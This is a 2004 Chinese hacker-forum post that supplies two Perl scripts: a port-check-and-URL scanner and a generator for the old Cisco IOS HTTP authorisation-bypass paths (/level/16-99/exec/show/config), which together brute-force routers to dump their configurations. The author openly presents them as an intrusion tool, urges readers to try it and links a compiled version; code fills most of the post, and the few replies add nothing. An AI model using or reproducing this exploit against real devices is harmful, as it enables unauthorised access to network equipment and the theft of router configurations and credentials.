论坛: 黑客进阶 标题: 转贴:[灌水文]scan_cgi的一个用途 复制本贴地址    
作者: a_one [a_one]    论坛用户   登录
scan_cgi的一个用途

writer: demonalex
email: demonalex_at_hackermail.com


    本无心写scan_cgi这个脚本的,因想测试一下LWP库,却又不知应该弄个什么东东比较好,无聊之下翻了翻
《黑客防线》杂志2004年的2月刊,看了看由Squ4L1大侠所写的“轻轻松松获取Cisco路由器访问权限”,其中
用到了暴露已久的WEB控制构造特殊URL漏洞,漏洞的构造形式如下:http://CISCO系统IP/level/16-99之间其中
一个整数/exec/show/config,抱着‘暴力’的精神与‘大无为’的作风,小神还是把scan_cgi这个没有什么使
用价值的‘东西’弄出来了。

############################################################################################################
#!usr/bin/perl
use LWP;
use Socket;
example();
$remote_ip=$ARGV[0];                                    #第一个输入参数为需要扫描的远程IP地址
$remote_port=$ARGV[1] || 80;                            #第二个为需要扫描的远程主机的端口,默认为TCP80
$pack_host=inet_aton($remote_ip);
$pack_all=sockaddr_in($remote_port,$pack_host);
socket(SOCK,AF_INET,SOCK_STREAM,6) || die "Can't build the Socket!\n";
$result1=connect(SOCK,$pack_all);
if(defined $result1){
print("The $remote_ip:$remote_port is Opened!\n");
close SOCK;
}else{
print("The $remote_ip:$remote_port is Closed!\n");
close SOCK;
exit 1;
}
#
print("Now is scanning the cgi string in uri.txt...\n\n");
#
$host=qq(http://$remote_ip:$remote_port);
$agent=LWP::UserAgent->new();
$agent->timeout(10);                                    #用户代理的超时值为10秒
#
$uri_input_file="uri.txt";                              #URI的默认扫描路径储存文件为同一目录下的uri.txt
$log_output_file="cgi.log";                              #默认的日志输入文件为同一目录下的cgi.log
#
open(CONVERT,"<$uri_input_file") || die "Can't open the $uri_input_file(uri string file)...\n";
open(LOG,">>$log_output_file");
do{
$cgi_string=<CONVERT>;
chop($cgi_string);
$string=qq($host$cgi_string);
$request=HTTP::Request->new(GET=>$string);
$response=$agent->request($request);
if($response->is_success){
print("The $string is existent!\n");
print LOG ("The $string is existent!\n");
}
}while(defined $cgi_string);
close LOG;
close CONVERT;
print("\nAll cgi string is scaned in http://$remote_ip:$remote_port,please look up the $log_output_file:)\n");
exit 1;

#########################################################
sub example{
print("**************************\n");
print("* CopyRight By DemonAlex *\n");
print("**************************\n");
print("email:demonalex@dark2s.org\n");
print("Example: scan_cgi.exe ip [port]\n");
print("\n");
return;
}
#########################################################
############################################################################################################

做到这里,如果阁下看得懂上面的脚本的话应该可以发现整个暴破找出缺陷URL的入侵过程也只是剩下最主要的
URI储存文件(uri.txt)的路径内容了,如何能写出这个内容呢?交给脚本吧。写了个CISCO的缺陷URL路径字典
库生成器(如下)。

############################################################################################################
#!usr/bin/perl -w
open(URL,">uri.txt");              #与该脚本在同一目录下的uri.txt为CISCO的缺陷URL路径字典库文件
$head='/level/';
$tail='/exec/show/config';
for($a=16;$a<=99;$a++){
$string=qq($head$a$tail);
print URL ("$string\n");
undef $string;
}
close URL;
exit 1;
############################################################################################################

运行上面的脚本后自然会在该脚本的同一目录下生成uri.txt字典文件的了,把它挂到scan_cgi就......
    现在可以说是‘万事俱备,只欠东风’了,好好实践一下吧,朋友,祝您好运:)


scan_cgi修正版EXE程序及源代码下载: http://www.ego12.com/demonalex/scan_cgi2/scan_cgi2.rar



地主 发表时间: 04-06-09 15:43

回复: lijingxi [lijingxi]   见习版主   登录
CGI 俺不会啊!

B1层 发表时间: 04-06-09 21:34

回复: kailangq [kailangq]   版主   登录


B2层 发表时间: 04-06-10 00:07

回复: eagle_1 [eagle_1]   论坛用户   登录


B3层 发表时间: 04-07-12 15:30

论坛: 黑客进阶

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号